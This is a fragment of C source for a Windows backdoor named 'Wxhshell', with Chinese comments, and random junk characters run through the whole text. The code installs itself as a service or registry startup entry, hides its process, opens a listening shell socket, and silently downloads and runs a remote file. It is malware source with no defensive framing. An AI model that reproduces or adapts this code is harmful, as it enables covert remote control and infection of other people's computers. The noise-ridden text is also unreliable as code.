jd]f if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m`n#Q#6 K;]Dh? CloseHandle(hProcess); U "v=XK)! f/U~X; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (#+81 Dr if(hProcess==NULL) return 0; y w:=$e5 AI-ZZ6lzR HMODULE hMod; fJ+4H4K char procName[255]; kNX8y-- unsigned long cbNeeded; YMj iJTl O$X^Ea7~ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =]o2{d ~Xc1y!"9* CloseHandle(hProcess); j|@8VxZ ,r;E[k@ if(strstr(procName,"services")) return 1; // 以服务启动
p]jG
,S K4b2)8
return 0; // 注册表启动 @{ L|&Mk! } bjq.nn<= o)8VJ\ & // 主模块 E5\>mf
,;u int StartWxhshell(LPSTR lpCmdLine) L;fz7?_j { =)J)xH!N SOCKET wsl; (/7cXd@\6 BOOL val=TRUE; ?(M]'ia{ int port=0; G> sqfYkK struct sockaddr_in door; mteQRgC {"O-/*
f+( if(wscfg.ws_autoins) Install(); /sSM<r]5j @eYD@! port=atoi(lpCmdLine); !8tqYY?>@\ VUD9ZyPw if(port<=0) port=wscfg.ws_port; 6t gq.XL^n a!.Y@o5Ku WSADATA data; /*Gbl if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z6fY_LL yF-`f
_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #
S0N`V setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pL: r\Y:R door.sin_family = AF_INET;
<3x:nH @ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0>
QqsQ door.sin_port = htons(port); 9{%/I
[-^xw1: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =-avzuy# closesocket(wsl); O7p=|F" return 1; oo1h"[ } QN#tj$x c/%GfB[w0 if(listen(wsl,2) == INVALID_SOCKET) { +9M";'\c closesocket(wsl); :\^jIKvZ return 1; W>u{JgY } sHQO*[[ Wxhshell(wsl); 7gREcL2 WSACleanup(); @B!gxW\C >^g\s]c[ return 0; zek>]l`! oAvLSFn } eTI?Mu>C Ac\e>N // 以NT服务方式启动 lInf,Q7W VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i0~Af`v { $p*.[) DWORD status = 0; iKv"200h( DWORD specificError = 0xfffffff; I")mg~f 28j/K=0( serviceStatus.dwServiceType = SERVICE_WIN32; +y\o^w4sT serviceStatus.dwCurrentState = SERVICE_START_PENDING; C%#u2C2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pz"}o#R"x serviceStatus.dwWin32ExitCode = 0; -4obX serviceStatus.dwServiceSpecificExitCode = 0; 2` Ihrz6 serviceStatus.dwCheckPoint = 0; k|$?b7)"@ serviceStatus.dwWaitHint = 0; |g"K7XfM4 ]$U A5/a hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +mYK if (hServiceStatusHandle==0) return; 8_M"lU0[ "YVr/u status = GetLastError(); EIF if (status!=NO_ERROR) !Oi':OQG { >uFFTik serviceStatus.dwCurrentState = SERVICE_STOPPED; whFJ] serviceStatus.dwCheckPoint = 0; 4ZkaH(a1 serviceStatus.dwWaitHint = 0; :mt<]Oy3 serviceStatus.dwWin32ExitCode = status; i"mQ serviceStatus.dwServiceSpecificExitCode = specificError; sAnb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }(K1=cEaL return; UYzNaw4/x } wJu9. z}Um$'. = serviceStatus.dwCurrentState = SERVICE_RUNNING; A.(e=;0bu serviceStatus.dwCheckPoint = 0; p[}~Z|( serviceStatus.dwWaitHint = 0; *hh9
K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :Xu9`5 } i/PL!'oq r(rT.D& // 处理NT服务事件,比如:启动、停止 onm"7JsO' VOID WINAPI NTServiceHandler(DWORD fdwControl) Ql"~ z^L { *a-KQw
switch(fdwControl) %q6I- { #$l:% case SERVICE_CONTROL_STOP: >` u8( serviceStatus.dwWin32ExitCode = 0; 0qW"b`9R serviceStatus.dwCurrentState = SERVICE_STOPPED; ,o}CBB! k serviceStatus.dwCheckPoint = 0; AuY*x;~ serviceStatus.dwWaitHint = 0; U[z2{\ { f<y3/jl4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); a3,A_M}M' } Hk$do`H-=Y return; UK)wV case SERVICE_CONTROL_PAUSE: Uy?X-"UR serviceStatus.dwCurrentState = SERVICE_PAUSED; [kMWsiZ break; 3E}j*lo case SERVICE_CONTROL_CONTINUE: 1v*N]}`HU serviceStatus.dwCurrentState = SERVICE_RUNNING; 5uJ!)Q break; SAE'y2B* case SERVICE_CONTROL_INTERROGATE: z'\BZ5riX< break; l
nJ }; ]l`V#Rd SetServiceStatus(hServiceStatusHandle, &serviceStatus); >O0<u } ,[3}t%Da fP 3t0cp // 标准应用程序主函数 PJ,G_+b! int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G/_xn5XDD { ux)Wh.5 +W8kMuM! // 获取操作系统版本 Hm+VGH'H? OsIsNt=GetOsVer(); 2'Raj'2S4 GetModuleFileName(NULL,ExeFile,MAX_PATH); }0]iS8*tL PGuPw'2;[ // 从命令行安装 X_)x Fg'k if(strpbrk(lpCmdLine,"iI")) Install(); >)k[085t ""IPaNHQ // 下载执行文件 /?a9g>G%N if(wscfg.ws_downexe) { aO2zD<d if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L]l?_#*x WinExec(wscfg.ws_filenam,SW_HIDE); s.a @uR^ } s+ ^1\ /JIVp_-p if(!OsIsNt) { Nw%^Gs<~ // 如果时win9x,隐藏进程并且设置为注册表启动 @\+UTkl8 HideProc(); w}8=sw StartWxhshell(lpCmdLine); ~*`wRiUhis } r4fd@<=g else sXYXBX[ if(StartFromService()) "V5_B^Gzb] // 以服务方式启动 olm'_{{
StartServiceCtrlDispatcher(DispatchTable); |)mUO:* else >y$*|V}k // 普通方式启动 =E:sEw2j StartWxhshell(lpCmdLine); 4 b}'W} {mLv?"M] return 0; .(s@{= }
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